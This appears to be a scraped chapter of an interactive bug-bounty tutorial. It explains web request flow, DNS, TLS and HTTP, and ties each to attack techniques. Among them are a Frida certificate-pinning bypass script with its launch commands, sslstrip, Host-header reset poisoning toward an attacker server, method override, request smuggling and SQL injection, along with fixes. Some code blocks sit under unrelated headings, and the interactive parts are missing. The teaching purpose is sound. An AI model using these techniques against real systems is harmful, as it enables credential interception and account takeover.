How the Web Works

The Chain of Events: Typing a URL #

When you type https://example.com/login and press Enter, the system executes a precise multi-layer sequence. Understanding this at a technical depth is non-negotiable — every attack class maps directly to one or more steps in this chain.

1. Browser Cache Check: Before any network activity, the browser checks its local in-RAM cache. If a valid entry for example.com exists and its TTL hasn't expired, the browser skips every network step below and connects instantly — under 1ms versus the 20–120ms a full lookup takes. Closing the browser wipes this cache clean since it lives in volatile memory, not a disk folder. You can inspect it live at chrome://net-internals/#dns.
What is Browser Cache?
The cache is a local storage closet where your browser saves static website files—like images, logos, HTML files, CSS stylesheets, and JavaScript files. When you visit a website for the first time, your browser has to download every single image and script. That takes time. The next time you visit, the browser thinks, "Hey, I already have that heavy logo saved in my cache," and loads it instantly from your hard drive instead of downloading it over the internet again. Why it matters for security: a Cache Poisoning attack happens when an attacker forces the server to send a malicious response, which then gets saved in this "storage closet." Every time a normal user visits the site, their browser grabs the malicious cached file, thinking it's legitimate.
2. DNS Resolution: The browser queries the Domain Name System to convert example.com into a routable IP address (e.g., 93.184.216.34). See the DNS deep-dive below.
3. TCP Three-Way Handshake: Client sends SYN → server responds SYN-ACK → client completes with ACK. This establishes a reliable transport channel on port 443.
4. TLS Cryptographic Handshake: Both parties negotiate cipher suites, exchange certificates, and derive session keys. All subsequent data is encrypted in transit.
5. HTTP Request Transmission: The browser structures a formatted HTTP payload and dispatches it over the encrypted socket.
🏗️ Structuring the Format (The HTTP Payload)
Before sending anything, the browser has to write a "letter" the web server will understand. A standard HTTP payload has three sections:

A. The Request Line — Method (GET/POST/DELETE...), Path (/api/login), and Version (HTTP/1.1).
B. The Headers — key-value metadata: Host, User-Agent, Cookie, Accept-Language.
C. The Body (optional) — empty on GET, populated on POST (e.g. login credentials).


HTTP
GET /profile HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Cookie: session_id=xyz123
Accept: text/html

📨 Dispatch over the Encrypted Socket — the browser hands this plaintext letter down to the TLS layer on Port 443. TLS scrambles it into ciphertext, chops it into packets, and fires them at the target server, which decrypts using its matching key.

🎯 Bug Bounty Relevance — this is where Burp Suite sits: intercepting the payload after the browser structures it, but before it's encrypted and dispatched. Tampering here is the bread and butter of hunting — IDOR via changed IDs, SQLi/XSS via body/header injection, Host header routing abuse.
6. Application Processing: The server application (Node.js, Django, Laravel, etc.) parses the request, executes business logic, queries databases, and formulates a response.
7. HTTP Response: The server returns status code, headers, and the response body.
8. DOM Rendering: The browser parses HTML → builds DOM, parses CSS → builds CSSOM, executes JavaScript → may trigger more HTTP requests (sub-resources, APIs).

DNS Resolution — Deep Dive #

DNS is the internet's phone book. It resolves human-readable domain names to machine-routable IP addresses. Understanding this process reveals multiple attack surfaces: DNS Hijacking, Subdomain Takeover, DNS Cache Poisoning.

Key DNS Record Types — Full Exploit Breakdown

Click each record type to expand the full attacker methodology.

Bashcurl -6 https://target.com/vulnerable-endpoint?id=1' UNION SELECT...

dig outputgoogle-site-verification=AbC123...   → runs Google Workspace
MS=ms98765432                        → also runs Microsoft/Azure
atlassian-domain-verification=...    → runs Jira/Confluence internally
loaderio-ca631241bb022...            → uses a stress-testing tool (QA team exists)

Bashdig -x 198.51.100.12   → mail.targetcompany.com
dig -x 198.51.100.45   → vpn-gateway.targetcompany.com
dig -x 198.51.100.99   → stage-db01.internal.targetcompany.com

TCP Handshake & TLS Encryption #

Before any HTTP data is exchanged, the transport layer must be established. For HTTPS, this is a two-part process: TCP establishes the connection, TLS secures it.

TCP Three-Way Handshake

TCP Handshake DiagramClient                        Server
  |                              |
  |──── SYN (seq=x) ────────────>|   "I want to connect, starting my counter at x"
  |                              |
  |<─── SYN-ACK (seq=y,ack=x+1)─|   "Got it, expect x+1 next. My counter starts at y"
  |                              |
  |──── ACK (ack=y+1) ──────────>|   "Confirmed. We are synchronized."
  |                              |
  |    [Connection Established]  |

TLS 1.3 Handshake (Modern Standard)

Vulnerable Code: Trusting Everyone

Developers sometimes disable certificate validation to make local testing against a self-signed staging server easier — and forget to remove it before shipping to production.

Java — VulnerableNetworkClient.javaTrustManager[] trustAllCerts = new TrustManager[] {
    new X509TrustManager() {
        public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[0]; }
        public void checkClientTrusted(X509Certificate[] certs, String authType) {
            // ❌ EMPTY — accepts any client certificate
        }
        public void checkServerTrusted(X509Certificate[] certs, String authType) {
            // ❌ EMPTY — accepts ANY server certificate, no verification at all
        }
    }
};
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());

A hunter on the same Wi-Fi network sets up a rogue hotspot, routes the victim's traffic through Burp Suite, and presents a self-signed fake certificate for api.mybank.com. Because checkServerTrusted does nothing, the app accepts it instantly, encrypts the user's password with the attacker's public key, and hands it straight over.

The Fix: Certificate Pinning

Java — Remediated Checkpublic void checkServerTrusted(X509Certificate[] certs, String authType) throws CertificateException {
    certs[0].checkValidity();
    String expectedPin = "sha256/7iv9aeFA7...[Expected-PublicKey-Hash]";
    String actualPin = getFingerprint(certs[0]);
    if (!actualPin.equals(expectedPin)) {
        throw new CertificateException("CRITICAL: pin mismatch — MITM detected!");
    }
}

Bypassing Pinning With Frida

If an app pins correctly, Burp Suite goes silent — the app refuses the proxy's fake cert. Hunters don't rewrite the app on disk (it's cryptographically signed); instead they hook the running process in RAM using Frida, a dynamic instrumentation toolkit, and force the validation function to lie.

JavaScript — bypass-pinning.jsJava.perform(function () {
    var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl');
    TrustManagerImpl.checkServerTrusted.implementation = function (chain, authType, host) {
        console.log("[+] Bypassing pin check for: " + host);
        return java.util.ArrayList.$new();   // pretend the check passed
    };

    var CertificatePinner = Java.use('okhttp3.CertificatePinner');
    CertificatePinner.check.overload('java.lang.String','java.util.List').implementation = function (hostname, certs) {
        console.log("[+] Skipping OkHttp3 pinning for: " + hostname);
        return; // void return = "check passed"
    };
});

Bash — Executing the bypassadb shell "su -c /data/local/tmp/frida-server &"
frida -U -f com.targetbank.app -l bypass-pinning.js --no-pause

The moment the app spawns, Frida hot-swaps the compiled validation functions in memory before the app's own code ever runs. Burp's fake certificate sails through, and decrypted API traffic streams straight into the proxy window.

HTTP vs HTTPS #

SSL Stripping — The Invisible Downgrade

Most people type amazon.com, not https://amazon.com. That first plaintext request is the attacker's opening. Using sslstrip as a man-in-the-middle, an attacker fetches the real page over HTTPS on the victim's behalf, then rewrites every https:// link in the response to http:// before forwarding it — the page loads perfectly, just missing the padlock.

The downgrade chain[ Victim ] <── Plaintext HTTP ──> [ Attacker (sslstrip) ] <── Encrypted HTTPS ──> [ Real Server ]
   (No lock icon, page loads fine)      (reads everything in RAM)              (thinks all is normal)

Whatever the victim types — including a password — travels in raw plaintext straight into the attacker's proxy before being quietly forwarded on to the real server.

HSTS — The Kryptonite

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload tells the browser: for the next year, never speak plain HTTP to this domain — silently rewrite the request to HTTPS before it ever leaves the device. Because the request is encrypted before it hits the network, the attacker on the Wi-Fi can't read it, modify it, or strip it.

The one gap: Trust On First Use. A brand-new device visiting a site for the very first time doesn't know the HSTS policy yet — if the attacker intercepts that first connection, they can strip the header before it's ever cached. The fix: browser vendors hardcode an HSTS Preload List directly into the browser binary for major domains, so the policy applies from the very first request, forever.

Common Ports Reference #

Ports are logical endpoints on a host. A server can run multiple services on one IP by using different ports. During recon, an open port is a potential attack surface. Know these by heart.

Bashdig axfr @vulnerable-nameserver.com target.com

Deconstructing the HTTP Request #

Every outbound request intercepted inside a proxy follows this precise architectural template. You need to be able to read and modify every line fluently. It's structured plaintext divided into three zones: the Request Line, the Headers, and — after one mandatory blank line — the Body.

Raw HTTP Request — AnnotatedPOST /api/v1/login HTTP/1.1                  ← [1] Method + Path + Version
Host: app.example.com                        ← [2] Target virtual host
User-Agent: Mozilla/5.0 (Windows NT 10.0)   ← [3] Client identification
Accept: application/json                     ← [4] Expected response format
Content-Type: application/json               ← [5] Body format declaration
Content-Length: 47                           ← [6] Body size in bytes
Authorization: Bearer eyJhbGc...            ← [7] Auth token (JWT here)
Cookie: session=abc123; csrftoken=xyz        ← [8] State / CSRF tokens
X-Forwarded-For: 127.0.0.1                  ← [9] Custom header (often trusted blindly)
Connection: keep-alive                       ← [10] Persistent connection
                                             ← [11] Blank line separates headers/body
{"username":"admin","password":"secret"}     ← [12] Request body (POST data)

Request Header Deep Reference

Host Header Injection — Password Reset Poisoning

If a developer builds absolute links dynamically from the client-supplied Host header instead of a hardcoded config value, the reset-link generator becomes attacker-controlled:

Vulnerable backend logicString domain = request.getHeader("Host");
String resetLink = "https://" + domain + "/reset?token=" + generatedToken;
sendEmail(user.getEmail(), resetLink);

Change Host: app.secureapp.com to Host: attacker-controlled-server.com, trigger a password reset for the victim's email, and the real, legitimate mail system ships a perfectly valid token — pointed at the attacker's server. When the victim clicks it, the token lands in the attacker's access logs. Try it below.

POST /api/v1/auth/password-reset HTTP/1.1
Host: 
Content-Type: application/json

{"email": "victim@secureapp.com"}

HTTP Methods & Attack Vectors #

Methods declare what action is being requested on a target resource. Servers frequently misconfigure access control validation on non-standard methods.

HTTP Method Override — Tunneling Past the Firewall

Firewalls often block dangerous verbs like PUT/DELETE at the perimeter. Frameworks (Rails, Symfony, ASP.NET) built a legitimate workaround for restrictive environments — reading a hidden method override signal inside an innocent POST:

Via headerPOST /api/users/15 HTTP/1.1
X-HTTP-Method-Override: DELETE

Via body paramPOST /api/users/15 HTTP/1.1
Content-Type: application/x-www-form-urlencoded

_method=DELETE

The firewall reads the outer POST, decides it's safe, and lets it through. The backend framework reads the override header, silently converts it to DELETE internally, and executes the dangerous action — often with zero authorization check, because the dev team assumed the perimeter had already filtered that verb out. Try triggering this below against a mock admin asset endpoint.

Deconstructing the HTTP Response #

The server's answer carries both metadata (headers) and content (body). The headers are often more interesting than the body from a security perspective — they're a live telemetry report on the app's defensive posture.

Raw HTTP Response — AnnotatedHTTP/1.1 200 OK                                        ← [1] Version + Status
Date: Mon, 01 Jan 2025 12:00:00 GMT                    ← [2] Server timestamp
Server: nginx/1.18.0                                   ← [3] ⚠ Version disclosure
Content-Type: application/json; charset=UTF-8          ← [4] Body content type
Content-Length: 312                                    ← [5] Body size
Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Strict   ← [6] Cookie flags
X-Content-Type-Options: nosniff                        ← [7] MIME sniff protection
X-Frame-Options: DENY                                  ← [8] Clickjacking protection
Content-Security-Policy: default-src 'self'            ← [9] XSS mitigation header
Strict-Transport-Security: max-age=31536000            ← [10] HSTS — forces HTTPS
Access-Control-Allow-Origin: https://trusted.com       ← [11] CORS policy
X-Powered-By: PHP/7.4.3                                ← [12] ⚠ Tech stack leak

{"status":"ok","user":{"id":42,"role":"user"}}         ← [13] Response body

Server / X-Powered-By / Set-Cookie — Unintentional Fingerprinting

Server: Apache/2.4.41 (Ubuntu) and X-Powered-By: PHP/7.4.3 hand an attacker the exact OS distro, web server, and language runtime — enough to pull matching CVEs straight off Exploit-DB instead of guessing. Cookie names leak the framework too: PHPSESSID → raw PHP, JSESSIONID → Java/Tomcat, connect.sid → Node/Express, csrftoken/django_language → Django. Each framework has its own known quirks a hunter will pivot toward.

Security Headers — What Missing Ones Expose

CORS — Access-Control-Allow-Origin

By default the browser's Same-Origin Policy blocks a script on evil.com from reading data out of bank.com. Access-Control-Allow-Origin is the official exception mechanism — and it's frequently misconfigured two dangerous ways: a bare wildcard * (anyone can read this endpoint), or worse, a script that dynamically reflects whatever Origin header the request sent, paired with Access-Control-Allow-Credentials: true — which means literally any external site can make an authenticated, cookie-carrying request and read the private response. Full walkthrough — and a live simulator — is in the CORS section further down.

Critical Status Codes Matrix #

Anatomy of a URL Target #

Every URL component is a potential attack surface.

HTTP Versions — What Changed #

POST / HTTP/1.1
Content-Length: 6
Transfer-Encoding: chunked

0

SMUGGLED

How the Browser Renders a Page #

1. Parse HTML → Build DOM: a <script> with no defer/async blocks parsing and executes immediately.
2. Parse CSS → Build CSSOM: where CSS-injection data-exfiltration attacks live.
3. Execute JavaScript: can modify the DOM, read non-HttpOnly cookies, fetch APIs, redirect — the primary XSS execution environment.
4. Sub-resource Requests: images, scripts, fonts, API calls — each a fresh attack surface.
5. Render Tree + Paint: CSS injection can overlay UI elements for phishing/clickjacking.

Think of it like a plumbing system: the Source is the water intake where outside water enters (the URL). The Sink is the faucet where it's discharged into the house (the render). Pollute the intake, skip filtering, and the contaminated water sprays straight out the faucet.

Same-Origin Policy & CORS #

The Same-Origin Policy (SOP) is the browser's primary isolation mechanism — the strict landlord who forbids a resident from throwing their keys out the window to strangers on the street.

CORS is the official exception mechanism that selectively lowers SOP. A guest-list protocol: "my brother across town is allowed to read my mail." Misconfigured CORS is a high-severity finding — especially the reflected origin pattern, where the backend copies whatever Origin header a request sends straight back into Access-Control-Allow-Origin, paired with Access-Control-Allow-Credentials: true. That combination means literally any external site can fire an authenticated, cookie-carrying request and read the private JSON response — a victim just has to load the attacker's page in another tab while logged in.

SQL Injection — The 500 Error Matrix #

Think of a database backend as an ultra-fast automated filing clerk. It takes orders from the app as text notes (queries). If a developer glues raw user input directly into that note instead of treating it as sandboxed data, an attacker can write a "command code" — a single quote — that hijacks the clerk's instructions entirely.

The vulnerable backend for our target, LogisticsPro, builds its query like this:

Vulnerable Java — string concatenationString query = "SELECT * FROM orders WHERE shipment_id = '" + userInput + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

The single quote (') is the database's boundary marker for where a text string starts and ends. Break that boundary, and you're no longer sending data — you're sending code.

PreparedStatement stmt = connection.prepareStatement(
    "SELECT * FROM orders WHERE shipment_id = ?"
);
stmt.setString(1, userInput);   // treated purely as DATA, never as SQL syntax

Field Reports — Every Vulnerability, As a Story #

Nine declassified case files. Each one takes a single vulnerability class from this chapter and walks it through a full, realistic exploitation narrative — victim, attacker, setup, exploit, damage. Click a case file to expand it.

The Grand Finale — One Hunter, Five Phases #

Everything in this chapter, chained together into a single assessment against one target: Finvantage Globals (finvantage.com), a fintech company launching a new asset-tracking platform. This is Ethan's full methodology, phase by phase — not random attacks, but a structured, sequential framework.

Chapter 1 — Operational Drills #

Complete all five verification drills before advancing to Chapter 2. Each builds foundational muscle memory for proxy interception work.